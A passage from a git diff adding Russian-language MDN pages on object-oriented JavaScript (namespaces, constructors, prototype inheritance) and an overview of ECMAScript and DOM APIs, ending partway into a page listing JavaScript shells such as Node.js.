+ Расширять базовые прототипы следует исключительно для поддержания совместимости кода с отдельными "древними" реализациями JavaScript, - во всех прочих случаях это плохая практика.</p>
+</div>
+</div>
+</div>
diff --git a/files/ru/web/javascript/introduction_to_object-oriented_javascript/index.html b/files/ru/web/javascript/introduction_to_object-oriented_javascript/index.html
new file mode 100644
index 0000000000..2217542349
--- /dev/null
+++ b/files/ru/web/javascript/introduction_to_object-oriented_javascript/index.html
@@ -0,0 +1,355 @@
+---
+title: Вступление в Объектно-ориентированный JavaScript
+slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript
+translation_of: Learn/JavaScript/Objects
+---
+<p>Объектно-ориентированный до основания, JavaScript предоставляет мощные и гибкие {{Glossary("OOP")}} возможности. Эта статья начинается с введения в объектно-ориентированное программирование, затем рассматривает модель объекта JavaScript и, наконец, демонстрирует концепции объектно-ориентированного программирования в JavaScript.</p>
+
+<h2 id="JavaScript_Review" name="JavaScript_Review">Обзор JavaScript</h2>
+
+<p>Если вы неуверенно владеете такими концепциями JavaScript, как переменные, типы, функции и области видимости, вы можете прочитать об этих темах в <a href="/ru/docs/Web/JavaScript/A_re-introduction_to_JavaScript">Повторное вступление в JavaScript</a>. Вы также можете обратиться к <a href="/ru/docs/Web/JavaScript/Guide">JavaScript Guide</a>.</p>
+
+<h2 id="Object-oriented_programming" name="Object-oriented_programming">Объектно-ориентированное программирование</h2>
+
+<p>Объектно-ориентированное программирование (ООП) — это парадигма программирования, которая использует {{glossary("абстракции")}}, чтобы создавать модели, основанные на объектах реального мира. ООП использует несколько техник из ранее признанных парадигм, включая {{glossary("модульность")}}, {{glossary("полиморфизм")}} и {{glossary("инкапсуляция")}}. На сегодняшний день многие популярные языки программирования (такие как Java, JavaScript, C#, C++, Python, PHP, Ruby и Objective-C) поддерживают ООП.</p>
+
+<p>ООП представляет программное обеспечение как совокупность взаимодействующих объектов, а не набор функций или просто список команд (как в традиционном представлении). В ООП, каждый объект может получать сообщения, обрабатывать данные, и отправлять сообщения другим объектам. Каждый объект может быть представлен как маленькая независимая машина с отдельной ролью или ответственностью.</p>
+
+<p>ООП способствует большей гибкости и поддерживаемости в программировании, и широко распространена в крупномасштабном программном инжиниринге. Так как ООП настоятельно подчеркивает модульность, объектно-ориентированный код проще в разработке и проще для понимания впоследствии. Объектно-ориентированный код способствует более точному анализу, кодированию и пониманию сложных ситуаций и процедур, чем методы программирования с меньшей модульностью.<a href="#cite-1"><sup>1</sup></a></p>
+
+<h2 id="Terminology" name="Terminology">Терминология</h2>
+
+<dl>
+ <dt>{{Glossary("Пространство имён")}}</dt>
+ <dd>Контейнер, который позволяет разработчикам связать весь функционал под уникальным, специфичным для приложения именем.</dd>
+ <dt>{{Glossary("Класс")}}</dt>
+ <dd>Определяет характеристики объекта. Класс является описанием шаблона свойств и методов объекта.</dd>
+ <dt>{{Glossary("Объект")}}</dt>
+ <dd>Экземпляр класса.</dd>
+ <dt>{{Glossary("Свойство")}}</dt>
+ <dd>Характеристика объекта, например, цвет.</dd>
+ <dt>{{Glossary("Метод")}}</dt>
+ <dd>Возможности объекта, такие как ходьба. Это подпрограммы или функции, связанные с классом.</dd>
+ <dt>{{Glossary("Конструктор")}}</dt>
+ <dd>Метод, вызываемый в момент создания экземпляра объекта. Он, как правило, имеет то же имя, что и класс, содержащий его.</dd>
+ <dt>{{Glossary("Наследование")}}</dt>
+ <dd>Класс может наследовать характеристики от другого класса.</dd>
+ <dt>{{Glossary("Инкапсуляция")}}</dt>
+ <dd>Способ комплектации данных и методов, которые используют данные.</dd>
+ <dt>{{Glossary("Абстракция")}}</dt>
+ <dd>Совокупность комплексных наследований, методов и свойств объекта должны адекватно отражать модель реальности.</dd>
+ <dt>{{Glossary("Полиморфизм")}}</dt>
+ <dd>Поли означает "<em>много</em>", а морфизм "<em>формы</em>". Различные классы могут объявить один и тот же метод или свойство.</dd>
+</dl>
+
+<p>Для более обширного описания объектно-ориентированного программирования, см {{interwiki("wikipedia", "Объектно-ориентированное_программирование")}} в Wikipedia.</p>
+
+<h2 id="Прототипное_программирование">Прототипное программирование</h2>
+
+<p>Прототипное программирование — это модель ООП которая не использует классы, а вместо этого сначала выполняет поведение класса и затем использует его повторно (эквивалент наследования в языках на базе классов), декорируя (или расширяя) существующие<em> </em>объекты <em>прототипы</em>. (Также называемое бесклассовое, прототипно-ориентированное, или экземплярно-ориентированное программирование.)</p>
+
+<p>Оригинальный (и наиболее каноничный) пример прототипно-ориентированного языка это {{interwiki("wikipedia", "Self (programming language)", "Self")}} разработанный Дэвидом Ангаром и Ренделлом Смитом. Однако бесклассовый стиль программирования стал набирать популярность позднее, и был принят для таких языков программирования, как JavaScript, Cecil, NewtonScript, Io, MOO, REBOL, Kevo, Squeak (при использовании фреймворка Viewer для манипуляции компонентами Morphic) и некоторых других.<a href="#cite-1"><sup>1</sup></a></p>
+
+<h2 id="JavaScript_Object_Oriented_Programming" name="JavaScript_Object_Oriented_Programming">Объектно-ориентированное программирование в JavaScript</h2>
+
+<h3 id="Пространство_имён">Пространство имён</h3>
+
+<p>Пространство имён — это контейнер, который позволяет разработчикам собрать функциональность под уникальным именем приложения. <strong>Пространство имён в JavaScript — это объект, содержащий методы, свойства и другие объекты.</strong></p>
+
+<div class="note">
+<p>Важно отметить, что на уровне языка в JavaScript нет разницы между пространством имён и любым другим объектом. Это отличает JS от множества других объектно-ориентированных языков и может стать причиной путаницы у начинающих JS программистов.</p>
+</div>
+
+<p>Принцип работы пространства имён в JS прост: создать один глобальный объект и все переменные, методы и функции объявлять как свойства этого объекта. Также использование пространств имён снижает вероятность возникновения конфликтов имён в приложении так как каждый объект приложения является свойством глобального объекта.</p>
+
+<p>Давайте создадим глобальный объект MYAPP:</p>
+
+<pre class="brush: js">// Глобальное пространство имён
+var MYAPP = MYAPP || {};</pre>
+
+<p>Во фрагменте кода выше мы сначала проверяем определён ли объект MYAPP (в текущем файле или другом файле). Если да, то используем существующий глобальный объект MYAPP, иначе создаём пустой объект MYAPP, в котором мы инкапсулируем все методы, функции, переменные и объекты.</p>
+
+<p>Также мы можем создать подпространство имён (учтите, что сначала нужно объявить глобальный объект):</p>
+
+<pre class="brush: js">// Подпространство имён
+MYAPP.event = {};</pre>
+
+<p>Далее следует пример синтаксиса создания пространства имён и добавления переменных, функций и методов:</p>
+
+<pre class="brush: js">// Создаём контейнер MYAPP.commonMethod для общих методов и свойств
+MYAPP.commonMethod = {
+  regExForName: "", // определяет регулярное выражение для валидации имени
+  regExForPhone: "", // определяет регулярное выражение для валидации телефона
+  validateName: function(name){
+    // Сделать что-то с name, вы можете получить доступ к переменной regExForName
+    // используя "this.regExForName"
+  },
+
+  validatePhoneNo: function(phoneNo){
+    // Сделать что-то с номером телефона
+  }
+}
+
+// Объект вместе с объявлением методов
+MYAPP.event = {
+    addListener: function(el, type, fn) {
+    // код
+    },
+    removeListener: function(el, type, fn) {
+    // код
+    },
+    getEvent: function(e) {
+    // код
+    }
+
+    // Можно добавить другие свойства и методы
+}
+
+// Синтаксис использования метода addListener:
+MYAPP.event.addListener("yourel", "type", callback);</pre>
+
+<h3 id="Core_Objects" name="Core_Objects">Стандартные встроенные объекты</h3>
+
+<p>В JavaScript есть несколько объектов, встроенных в ядро, например {{jsxref("Math")}}, {{jsxref("Object")}}, {{jsxref("Array")}} и {{jsxref("String")}}. Пример ниже показывает как использовать объект Math, чтобы получить случайное число, используя его метод random().</p>
+
+<pre class="brush: js">console.log(Math.random());
+</pre>
+
+<div class="note"><strong>Примечание:</strong> В данном примере и далее мы будем использовать глобальную функцию {{domxref("console.log()")}}. Если точнее, то функция <code>console.log()</code> не является частью JavaScript, но она поддерживается многими браузерами для облегчения отладки.</div>
+
+<p>Смотрите <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects" title="en-US/docs/Web/JavaScript/Reference/Global_Objects">JavaScript Reference: Standard built-in objects</a>, чтобы ознакомиться со списком всех встроенных объектов JavaScript.</p>
+
+<p>Каждый объект в JavaScript является экземпляром объекта <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>, следовательно наследует все его свойства и методы.</p>
+
+<h3 id="Custom_Objects" name="Custom_Objects">Объекты, создаваемые пользователем</h3>
+
+<h4 id="The_Class" name="The_Class">Класс</h4>
+
+<p>JavaScript — это прототипно-ориентированный язык, и в нём нет оператора <code>class</code>, который имеет место в C++ или Java. Иногда это сбивает с толку программистов, привыкших к языкам с оператором <code>class</code>. Вместо этого JavaScript использует функции как конструкторы классов. Объявить класс так же просто как объявить функцию. В примере ниже мы объявляем новый класс Person с пустым конструктором:</p>
+
+<pre class="brush: js">var Person = function () {};
+</pre>
+
+<h4 id="The_Object_.28Class_Instance.29" name="The_Object_.28Class_Instance.29">Объект (экземпляр класса)</h4>
+
+<p>Для создания нового экзмепляра объекта <code>obj</code> мы используем оператор <code>new obj</code>, присваивая результат (который имеет тип <code>obj</code>) в переменную.</p>
+
+<p>В примере выше мы определили класс <code>Person</code>. В примере ниже мы создаём два его экземпляра (<code>person1</code> и <code>person2</code>).</p>
+
+<pre class="brush: js">var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<div class="note">Ознакомьтесь с {{jsxref("Object.create()")}}, новым, дополнительным методом инстанцирования, который создаёт неинициализированный экземпляр.</div>
+
+<h4 id="The_Constructor" name="The_Constructor">Конструктор</h4>
+
+<p>Конструктор вызывается в момент создания экземпляра класса (в тот самый момент, когда создается объект). Конструктор является методом класса. В JavaScript функция служит конструктором объекта, поэтому нет необходимости явно определять метод конструктор. Любое действие определенное в конструкторе будет выполненно в момент создания экземпляра класса.</p>
+
+<p>Конструктор используется для задания свойств объекта или для вызова методов, которые подготовят объект к использованию. Добавление методов и их описаний производится с использованием другого синтаксиса, описанного далее в этой статье.</p>
+
+<p>В примере ниже, конструктор класса <code>Person</code> выводит в консоль сообщение в момент создания нового экземпляра <code>Person</code>.</p>
+
+<pre class="brush: js">var Person = function () {
+  console.log('instance created');
+};
+
+var person1 = new Person();
+var person2 = new Person();
+</pre>
+
+<h4 id="The_Property_.28object_attribute.29" name="The_Property_.28object_attribute.29">Свойство (аттрибут объекта)</h4>
+
+<p>Свойства — это переменные, содержащиеся в классе; каждый экземпляр объекта имеет эти свойства. Свойства устанавливаются в конструкторе (функции) класса, таким образом они создаются для каждого экземпляра.</p>
+
+<p>Ключевое слово <code>this</code>, которое ссылается на текущий объект, позволяет вам работать со свойствами класса. Доступ (чтение и запись) к свойствам снаружи класса осуществляется синтаксисом <code>InstanceName.Property,</code> так же как в C++, Java и некоторых других языках. (Внутри класса для получения и изменения значений свойств используется синтаксис <code>this.Property</code>)</p>
+
+<p>В примере ниже, мы определяем свойство <code>firstName</code> для класса <code>Person</code> при создании экземпляра:</p>
+
+<pre class="brush: js">var Person = function (firstName) {
+  this.firstName = firstName;
+  console.log('Person instantiated');
+};
+
+var person1 = new Person('Alice');
+var person2 = new Person('Bob');
+
+// Выводит свойство firstName в консоль
+console.log('person1 is ' + person1.firstName); // выведет "person1 is Alice"
+console.log('person2 is ' + person2.firstName); // выведет "person2 is Bob"
+</pre>
+
+<h4 id="The_methods" name="The_methods">Методы</h4>
+
+<p>Методы — это функции (и определяются как функции), но с другой стороны следуют той же логике, что и свойства. Вызов метода похож на доступ к свойству, но вы добавляете () на конце имени метода, возможно, с аргументами. Чтобы объявить метод, присвойте функцию в именованное свойство свойства <code>prototype</code> класса. Потом вы сможете вызвать метод объекта под тем именем, которое вы присвоили функции.</p>
+
+<p>В примере ниже мы определяем и используем метод <code>sayHello()</code> для класса <code>Person</code>.</p>
+
+<pre class="brush: js">var Person = function (firstName) {
+  this.firstName = firstName;
+};
+
+Person.prototype.sayHello = function() {
+  console.log("Hello, I'm " + this.firstName);
+};
+
+var person1 = new Person("Alice");
+var person2 = new Person("Bob");
+
+// вызываем метод sayHello() класса Person
+person1.sayHello(); // выведет "Hello, I'm Alice"
+person2.sayHello(); // выведет "Hello, I'm Bob"
+</pre>
+
+<p>В JavaScript методы это — обычные объекты функций, связанные с объектом как свойства: это означает, что вы можете вызывать методы "вне контекста". Рассмотрим следующий пример:</p>
+
+<pre class="brush: js">var Person = function (firstName) {
+  this.firstName = firstName;
+};
+
+Person.prototype.sayHello = function() {
+  console.log("Hello, I'm " + this.firstName);
+};
+
+var person1 = new Person("Alice");
+var person2 = new Person("Bob");
+var helloFunction = person1.sayHello;
+
+// выведет "Hello, I'm Alice"
+person1.sayHello();
+
+// выведет "Hello, I'm Bob"
+person2.sayHello();
+
+// выведет "Hello, I'm undefined" (or fails
+// with a TypeError in strict mode)
+helloFunction();
+
+// выведет true
+console.log(helloFunction === person1.sayHello);
+
+// выведет true
+console.log(helloFunction === Person.prototype.sayHello);
+
+// выведет "Hello, I'm Alice"
+helloFunction.call(person1);</pre>
+
+<p>Как показывает пример, все ссылки, которые мы имеем на функцию <code>sayHello</code> — <code>person1</code>, <code>Person.prototype</code>, переменная <code>helloFunction</code> и т.д. — ссылаются на одну и ту же функцию. Значение <code>this</code> в момент вызова функции зависит от того, как мы её вызываем. Наиболее часто мы обращаемся к <code>this</code> в выражениях, где мы получаем функцию из свойства объекта — <code>person1.sayHello()</code> — <code>this</code> устанавливается на объект, из которого мы получили функцию (<code>person1</code>), вот почему <code>person1.sayHello()</code> использует имя "Alice", а <code>person2.sayHello()</code> использует имя "Bob". Но если вызов будет совершён иначе, то <code>this</code> будет иным: вызов <code>this</code> из переменной — <code>helloFunction()</code> — установит <code>this</code> на глобальный объект (<code>window</code> в браузерах). Так как этот объект (вероятно) не имеет свойства <code>firstName</code>, функция выведет "Hello, I'm undefined" (так произойдёт в нестрогом режиме; в <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> всё будет иначе (ошибка), не будем сейчас вдаваться в подробности, чтобы избежать путаницы). Или мы можем указать <code>this</code> явно с помощью <code>Function#call</code> (или <code>Function#apply</code>) как показано в конце примера.</p>
+
+<div class="note"><strong>Примечание:</strong> Смотрите подробнее о <code>this</code> в  <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/call">Function#call</a> и <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/apply">Function#apply</a></div>
+
+<h4 id="Inheritance" name="Inheritance">Наследование</h4>
+
+<p>Наследование — это способ создать класс как специализированную версию одного или нескольких классов (JavaScript поддерживает только одиночное наследование). Специализированный класс, как правило, называют потомком, а другой класс родителем. В JavaScript наследование осуществляется присвоением экземпляра класса родителя классу потомку. В современных браузерах вы можете реализовать наследование с помощью <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create">Object.create</a>.</p>
+
+<div class="note"><strong>Примечание:</strong> JavaScript не обнаружит <code>prototype.constructor</code> класса потомка (смотрите <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a>) так что мы должны указать его вручную. Смотрите вопрос "<a href="http://stackoverflow.com/questions/8453887/why-is-it-necessary-to-set-the-prototype-constructor">Why is it necessary to set the prototype constructor?</a>" на Stackoverflow.</div>
+
+<p>В примере ниже мы определяем класс <code>Student</code> как потомка класса <code>Person</code>. Потом мы переопределяем метод <code>sayHello()</code> и добавляем метод <code>addGoodBye()</code>.</p>
+
+<pre class="brush: js">// Определяем конструктор Person
+var Person = function(firstName) {
+  this.firstName = firstName;
+};
+
+// Добавляем пару методов в Person.prototype
+Person.prototype.walk = function(){
+  console.log("I am walking!");
+};
+
+Person.prototype.sayHello = function(){
+  console.log("Hello, I'm " + this.firstName);
+};
+
+// Определяем конструктор Student
+function Student(firstName, subject) {
+  // Вызываем конструктор родителя, убедившись (используя Function#call)
+  // что "this" в момент вызова установлен корректно
+  Person.call(this, firstName);
+
+  // Инициируем свойства класса Student
+  this.subject = subject;
+};
+
+// Создаём объект Student.prototype, который наследуется от Person.prototype.
+// Примечание: Рспространённая ошибка здесь, это использование "new Person()", чтобы создать
+// Student.prototype. Это неверно по нескольким причинам, не в последнюю очередь
+// потому, что нам нечего передать в Person в качестве аргумента "firstName"
+// Правильное место для вызова Person показано выше, где мы вызываем
+// его в конструкторе Student.
+Student.prototype = Object.create(Person.prototype); // Смотрите примечание выше
+
+// Устанавливаем свойство "constructor" для ссылки на класс Student
+Student.prototype.constructor = Student;
+
+// Заменяем метод "sayHello"
+Student.prototype.sayHello = function(){
+  console.log("Hello, I'm " + this.firstName + ". I'm studying "
+              + this.subject + ".");
+};
+
+// Добавляем метод "sayGoodBye"
+Student.prototype.sayGoodBye = function(){
+  console.log("Goodbye!");
+};
+
+// Пример использования:
+var student1 = new Student("Janet", "Applied Physics");
+student1.sayHello();   // "Hello, I'm Janet. I'm studying Applied Physics."
+student1.walk();       // "I am walking!"
+student1.sayGoodBye(); // "Goodbye!"
+
+// Проверяем, что instanceof работает корректно
+console.log(student1 instanceof Person);  // true
+console.log(student1 instanceof Student); // true
+</pre>
+
+<p>Относительно строки <code>Student.prototype = Object.create(Person.prototype);</code>: В старых движках JavaScript, в которых нет  <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a></code> можно использовать полифилл (ещё известный как "shim") или функцию которая достигает тех же результатов, такую как:</p>
+
+<pre class="brush: js">function createObject(proto) {
+    function ctor() { }
+    ctor.prototype = proto;
+    return new ctor();
+}
+
+// Пример использования:
+Student.prototype = createObject(Person.prototype);
+</pre>
+
+<div class="note"><strong>Примечание:</strong> Смотрите <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a> для более подробной информации, и shim для реализации на старых движках.</div>
+
+<h4 id="Encapsulation" name="Encapsulation">Инкапсуляция</h4>
+
+<p>В примере выше классу <code>Student</code> нет необходимости знать о реализации метода <code>walk()</code> класса <code>Person</code>, но он может его использовать; Класс <code>Student</code> не должен явно определять этот метод, пока мы не хотим его изменить. Это называется <strong>инкапсуляция</strong>, благодаря чему каждый класс собирает данные и методы в одном блоке.</p>
+
+<p>Сокрытие информации распространённая особенность, часто реализуемая в других языках программирования как приватные и защищённые методы/свойства. Однако в JavaScript можно лишь имитировать нечто подобное, это не является необходимым требованием объектно-ориентированного программирования.<a href="#cite-2"><sup>2</sup></a></p>
+
+<h4 id="Abstraction" name="Abstraction">Абстракция</h4>
+
+<p>Абстракция это механизм который позволяет смоделировать текущий фрагмент рабочей проблемы, с помощью наследования (специализации) или композиции. JavaScript достигает специализации наследованием, а композиции возможностью экземплярам класса быть значениями атрибутов других объектов.</p>
+
+<p>В JavaScript класс <code>Function</code> наследуется от класса <code>Object</code> (это демонстрирует специализацию), а свойство <code>Function.prototype</code> это экземпляр класса <code>Object</code> (это демонстрирует композицию).</p>
+
+<pre class="brush: js">var foo = function () {};
+
+// выведет "foo is a Function: true"
+console.log('foo is a Function: ' + (foo instanceof Function));
+
+// выведет "foo.prototype is an Object: true"
+console.log('foo.prototype is an Object: ' + (foo.prototype instanceof Object));</pre>
+
+<h4 id="Polymorphism" name="Polymorphism">Полиморфизм</h4>
+
+<p>Так как все методы и свойства определяются внутри свойства <code>prototype</code>, различные классы могут определять методы с одинаковыми именами; методы находятся в области видимости класса в котором они определены, пока два класса не имеют связи родитель-потомок (например, один наследуется от другого в цепочке наследований).</p>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Это не все способы которыми можно реализовать объектно-ориентированное программирование в JavaScript, который очень гибок в этом отношении. Также способы рассмотренные здесь не отражают всех возможностей JavaScript и не подражают реализации теории объектов в других языках.</p>
+
+<p>Существуют другие способы, которые реализуют ещё более продвинутое объектно-ориентированное программирование на JavaScript, но они выходят за рамки этой вводной статьи.</p>
+
+<h2 id="References" name="References">Ссылки</h2>
+
+<ol>
+ <li><a name="cite-1"></a>Wikipedia. "<a href="http://en.wikipedia.org/wiki/Object-oriented_programming">Object-oriented programming</a>"</li>
+ <li><a name="cite-2"></a>Wikipedia. "<a href="http://en.wikipedia.org/wiki/Encapsulation_%28object-oriented_programming%29">Encapsulation (object-oriented programming)</a>"</li>
+</ol>
diff --git a/files/ru/web/javascript/javascript_technologies_overview/index.html b/files/ru/web/javascript/javascript_technologies_overview/index.html
new file mode 100644
index 0000000000..bb06ed7392
--- /dev/null
+++ b/files/ru/web/javascript/javascript_technologies_overview/index.html
@@ -0,0 +1,85 @@
+---
+title: Обзор JavaScript
+slug: Web/JavaScript/JavaScript_technologies_overview
+translation_of: Web/JavaScript/JavaScript_technologies_overview
+---
+<div>{{JsSidebar("Introductory")}}</div>
+
+<h2 id="Введение">Введение</h2>
+
+<p>Если HTML определяет структуру и контент веб-страницы, а CSS задает формат и внешний вид, то JavaScript добавляет интерактивность и создает богатые веб-приложения. </p>
+
+<p>Однако, под общим термином "JavaScript", в контексте веб-браузера, понимаются несколько очень разных вещей. Одна из них - это базовый язык программирования (ECMAScript), а другая - коллекция Web APIs, включая DOM (Объектно-ориентированная модель документа).</p>
+
+<h2 id="JavaScript_базовый_язык_программирования_(ECMAScript)">JavaScript, базовый язык программирования (ECMAScript)</h2>
+
+<p>Базовый язык JavaScript стандартизирован комитетом ECMA TC-39 как язык программирования под названием <a href="/en-US/docs/JavaScript/Language_Resources" title="en-US/docs/JavaScript/Language_Resources">ECMAScript</a>.</p>
+
+<p>Базовый язык также используется в не-браузерном окружении, например, в <a href="http://nodejs.org/">node.js</a>.</p>
+
+<h3 id="Что_попадает_под_понятие_ECMAScript">Что попадает под понятие ECMAScript?</h3>
+
+<p>Кроме прочего, <a href="/en-US/docs/JavaScript/Language_Resources" title="en-US/docs/JavaScript/Language_Resources">ECMAScript</a> определяет:</p>
+
+<ul>
+ <li>Синтаксис языка (правила парсинга, ключевые слова, порядок выполнения, инициализацию объекта литерала...)</li>
+ <li>Механизм обработки ошибок (исключения, try/catch оператор,возможность создавать новые типы  ошибок)</li>
+ <li>Типы данных (логические, числа, строки, функции, объекты...)</li>
+ <li>Глобальный объект. В браузерах глобальным объектом является <code>window</code>, но ECMAscript определяет только те APIs, которые не являются специфическими для браузера, как <code>parseInt</code>, <code>parseFloat</code>, <code>decodeURI</code>, <code>encodeURI</code>...</li>
+ <li>Механизм прототипного наследования</li>
+ <li>Встроенные объекты и функции (JSON, Math, Array.prototype методы, методы самоанализа объекта...)</li>
+ <li>Строгий режим</li>
+</ul>
+
+<h3 id="Браузерная_поддержка">Браузерная поддержка</h3>
+
+<p>На октябрь 2016, текущие версии основых веб-браузеров включали <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla">ECMAScript 2015</a>, но более старые версии (все еще находящиеся в использовании) реализуют только ECMAScript 5.</p>
+
+<h3 id="Будущее">Будущее</h3>
+
+<p>Главное 6-ое издание ECMAscript было официально одобрено и опубликовано как стандарт 17 июня 2015 года на собрании ECMA General Assembly. С тех пор выпуски ECMAscript публикуются на ежегодной основе.</p>
+
+<h3 id="API_по_интернационализации">API по интернационализации</h3>
+
+<p><a href="http://ecma-international.org/ecma-402/1.0/">Спецификация ECMAScript для API по интернационализации</a> - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведется в документации <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Intl"><code>Intl</code> object</a>. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают ее реализацию.</p>
+
+<h2 id="DOM_APIs">DOM APIs</h2>
+
+<h3 id="WebIDL">WebIDL</h3>
+
+<p><a class="external" href="http://dev.w3.org/2006/webapi/WebIDL/" title="http://dev.w3.org/2006/webapi/WebIDL/">Спецификация WebIDL </a>является связующим звеном между технологиями DOM и ECMAScript.</p>
+
+<h3 id="Ядро_DOM">Ядро DOM</h3>
+
+<p>Объектно-ориентированная модель документа (DOM) это кросс-платформенное, <strong>языково-независимое соглашение</strong> по представлению объектов и взаимодейстивию с ними в документах HTML, XHTML и XML. Объект в <strong>DOM-дереве</strong> может быть адресован и обработан с помощью своих методов. Ядро Объектно-ориентированной модели документа стандартизируется W3C и определяет языково-независимые интерфейсы, абстрагирующие HTML и XML документы как объекты, и механизмы для управления этой абстракцией. Кроме прочих вещей, опреденных в DOM, можно также найти:</p>
+
+<ul>
+ <li>Структуру документа, древовидную модель, и архитектуру событий DOM в <a class="external" href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">ядре DOM</a>: <code>Node</code>, <code>Element</code>, <code>DocumentFragment</code>, <code>Document</code>, <code>DOMImplementation</code>, <code>Event</code>, <code>EventTarget</code>, …</li>
+ <li>Менее строгое определение архитектуры событий DOM, также как и определенные <a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">события DOM</a>.</li>
+ <li>Другие вещи, такие как <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html">DOM Traversal</a> и <a class="external" href="http://html5.org/specs/dom-range.html" title="http://html5.org/specs/dom-range.html">DOM Range</a>.</li>
+</ul>
+
+<p>С точки зрения ECMAScript, объекты определенные в спецификации DOM называются объектами среды исполнения ("host objects").</p>
+
+<h3 id="HTML_DOM">HTML DOM</h3>
+
+<p><a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>, это язык разметки Web, который определен в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the <em>meaning</em> of elements. The HTML DOM includes such things as the <code>className</code> property on HTML elements, or APIs such as {{ domxref("document.body") }}.</p>
+
+<p>The HTML specification also defines restrictions on documents; for example, it requires all children of a <code>ul</code> element, which represents an unordered list, to be <code>li</code> elements, as those represent list items. In general, it also forbids using elements and attributes that aren't defined in a standard.</p>
+
+<h2 id="Другие_API_заслуживающие_внимания">Другие API, заслуживающие внимания</h2>
+
+<ul>
+ <li>Функции setTimeout и setInterval впервые были определены в интерфейсе <a class="external" href="http://www.whatwg.org/html/#window" title="http://www.whatwg.org/html/#window">Window</a> в стандарте HTML.</li>
+ <li><a class="external" href="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/" title="http://dev.w3.org/2006/webapi/XMLHttpRequest-2/">XMLHttpRequest</a> позволяет отправлять асинхронные HTTP запросы.</li>
+ <li>Объектная модель <a class="external" href="http://dev.w3.org/csswg/cssom/">CSS</a> абстрагировать CSS-правила как объекты</li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-workers/current-work/">WebWorkers</a> обеспечивает выполнение параллельных вычислений.</li>
+ <li><a class="external" href="http://www.whatwg.org/C/#network">WebSockets</a> обеспечивает низкоуровневое двунаправленое соединение.</li>
+ <li><a class="external" href="http://www.whatwg.org/html/#2dcontext" title="http://www.whatwg.org/html/#2dcontext">Canvas 2D Context</a> это API для рисования с помощью элемента {{htmlelement("canvas")}}..</li>
+</ul>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>Каждый разработчик сталкивавшийся с DOM понимает как там все <a href="http://ejohn.org/blog/the-dom-is-a-mess/" title="http://ejohn.org/blog/the-dom-is-a-mess/">безнадёжно</a>. Реализация той иной функциональности может отличаться, а следовательно и поведение. Главной причиной этого послужило то, что само описание спецификации DOM, было недостаточно ясным и подробным для разработчиков браузеров. Кроме того разные производители браузеров добавили несовместимые функциональности в своих браузеры или функциональности перекрывающие друг друга (например модель событий в IE). В данный момент консорциум W3C и частично WHATWG пытаюся описать детально поведение тех или иных функций, чтобы улучшить совместимость между браузерами. Следуя этой тенденции, можно надеятся что браузеры улучшат свои реализации основываясь на этих спецификациях.</p>
+
+<p>Наиболее общий, но возможно не самый надежный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распростаненные из них это <a class="external" href="http://jquery.com/">jQuery</a> и <a class="external" href="http://www.prototypejs.org/">prototype</a>.</p>
diff --git a/files/ru/web/javascript/javascript_шеллы/index.html b/files/ru/web/javascript/javascript_шеллы/index.html
new file mode 100644
index 0000000000..b6e3421b96
--- /dev/null
+++ b/files/ru/web/javascript/javascript_шеллы/index.html
@@ -0,0 +1,44 @@
+---
+title: JavaScript оболочки
+slug: Web/JavaScript/JavaScript_шеллы
+translation_of: Web/JavaScript/Shells
+---
+<div>{{JsSidebar}}</div>
+
+<p>JavaScript оболочки позволяют быстро проверить фрагменты <a href="/en/JavaScript" title="en/JavaScript">JavaScript</a> кода без перезагрузки страницы. Они чрезвычайно полезны для разработки и отладки кода.</p>
+
+<h2 id="Автономные_JavaScript_оболочки">Автономные JavaScript оболочки</h2>
+
+<p>Следующие JavaScript шеллы являются автономными средами, как Perl или Python.</p>
+
+<ul>
+ <li><a href="http://nodejs.org/">Node.js</a> - это платформа для простого создания быстрых, масштабируемых сетевых приложений..</li>
+ <li><a class="external" href="http://www.jsdb.org/">JSDB</a> - Автономная JavaScript оболочка для Windows, Mac, и Linux.</li>
